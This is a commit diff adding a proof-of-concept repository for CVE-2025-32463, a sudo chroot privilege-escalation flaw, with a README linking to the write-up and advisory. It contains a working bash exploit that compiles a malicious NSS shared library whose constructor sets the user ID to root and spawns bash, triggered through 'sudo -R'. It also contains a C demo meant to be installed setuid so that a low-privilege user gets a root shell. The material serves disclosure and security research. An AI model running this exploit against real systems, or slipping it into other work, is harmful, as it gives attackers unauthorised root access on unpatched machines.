Add PoC for CVE-2025-32463 Sudo chroot EoP

README.md

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+# CVE-2025-32463-sudo-chwoot
+### PoC for CVE-2025-32463 - Sudo chroot Elevation of Privilege Vulnerability
+- Original PoC [sudo-chwoot.sh](sudo-chwoot.sh)
+- CTF Demo [chwoot-demo.c](chwoot-demo.c)
+
+#### Docs
+- Write-up: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
+- Advisory: https://www.sudo.ws/security/advisories/chroot_bug/
+
+
+#### Other PoCs
+- Dockerized version https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

chwoot-demo.c

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+/*
+  Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.
+               Possible future CTF challenge? :)
+  gcc -Wall -o chwoot-demo chwoot-demo.c
+  cp 4755 chwoot-demo
+  mv chwoot-demo /usr/bin
+  Then get a root shell as a low priv user
+*/
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <grp.h>
+#include <netdb.h>
+
+int main() {
+    chdir("/tmp/stage");
+    int saved_root = open("/",O_RDONLY);
+    int saved_cwd = open(".",O_RDONLY);
+    chroot("/tmp/stage");
+    chdir("/");
+    gethostbyname("woot");
+    fchdir(saved_root);
+    chroot(".");
+    fchdir(saved_cwd);
+    getgrnam("got root?");
+}

sudo-chwoot.sh

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+#!/bin/bash
+# sudo-chwoot.sh
+# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
+#                  @ Stratascale Cyber Research Unit (CRU)
+STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
+cd ${STAGE?} || exit 1
+
+cat > woot1337.c<<EOF
+#include <stdlib.h>
+#include <unistd.h>
+
+__attribute__((constructor)) void woot(void) {
+  setreuid(0,0);
+  setregid(0,0);
+  chdir("/");
+  execl("/bin/bash", "/bin/bash", NULL);
+}
+EOF
+
+mkdir -p woot/etc libnss_
+echo "passwd: /woot1337" > woot/etc/nsswitch.conf
+cp /etc/group woot/etc
+gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
+
+echo "woot!"
+sudo -R woot woot
+rm -rf ${STAGE?}